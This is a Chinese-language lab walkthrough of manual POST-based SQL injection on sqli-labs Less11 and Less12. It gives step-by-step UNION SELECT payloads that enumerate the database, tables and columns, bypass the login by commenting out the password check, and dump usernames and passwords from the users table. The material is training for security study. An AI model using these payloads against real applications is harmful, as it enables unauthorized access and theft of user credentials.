目录
二、Less11(POST-Error based - Single Quotes String)
三、Less12(POST-Error based - Double Quotes String-with twist)
推荐:
一、POST(手工)SQL注入基本步骤:
2.1、第一步:判断是否存在SQL漏洞
在输入框中填入一些闭合的符号,看页面是否异常
如: ’ " ') ")
当页面发生错误,则证明闭合有效
有时单双引号闭合后,还要考虑括号个数
2.2、第二步:判断字段数
例如:
”)order by 3#
当回显正确的时候,就判断出字段数
2.3、第三步:判断回显点
使用union 联合查询找到回显点
例如:
") union select 1,2,3#
2.4、第四步:查询当前数据库
例如:
") union select 1,database(),3#
2.5、第五步:查表名
例如:
") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=“security” #
2.6、第六步:查字段
例如:
") union select 1,2,group_concat(column_name) from information_schema.columns where table_name=“users” #
2.7、第七步:查数据
例如:
")union select 1,username,password from users where id=2 #
二、Less11(POST-Error based - Single Quotes String)
2.1、简介:(错误-单引号)
请求方法:POST
方法:报错回显
分类:看我们是否找到账号名
在代码中,账号输入框和密码输入框是连着的
在第一个代码框最后注释掉后面内容后,就不需要输入密码了
第一步:判断注入点
输入了一个单引号显示错误,说明可能存在注入点,符号可能为单引号
第二步:分析注入方法
点击post date输入
uname=admin' and 1=1#
(或者在第一个框输入admin' and 1=1# )
字符型注入
第三步:常规的获取数据步骤
执行其他读取修改数据等操作(常规操作了)
例如(报错回显)
admin' and 1=2 union select 1,database()#
猜显示位数,获取数据库,获取表名,获取列名,获取数据
①uname=admin' and 1=2 union select 1,2 #
②uname=admin' and 1=2 union select 1,database() #
③uname=admin' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
④uname=admin' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
⑤uname=admin' and 1=2 union select 1,group_concat(username,password) from users #
爆数据:
admin' and 1=2 union select 1,group_concat(username,password) from users #
三、Less12(POST-Error based - Double Quotes String-with twist)
3.1、简介:(错误-双引号)
请求方法:POST
方法:报错回显
分类:看我们是否找到账号名
在代码中,账号输入框和密码输入框是连着的
在第一个代码框最后注释掉后面内容后,就不需要输入密码了
利用过程和Less11一样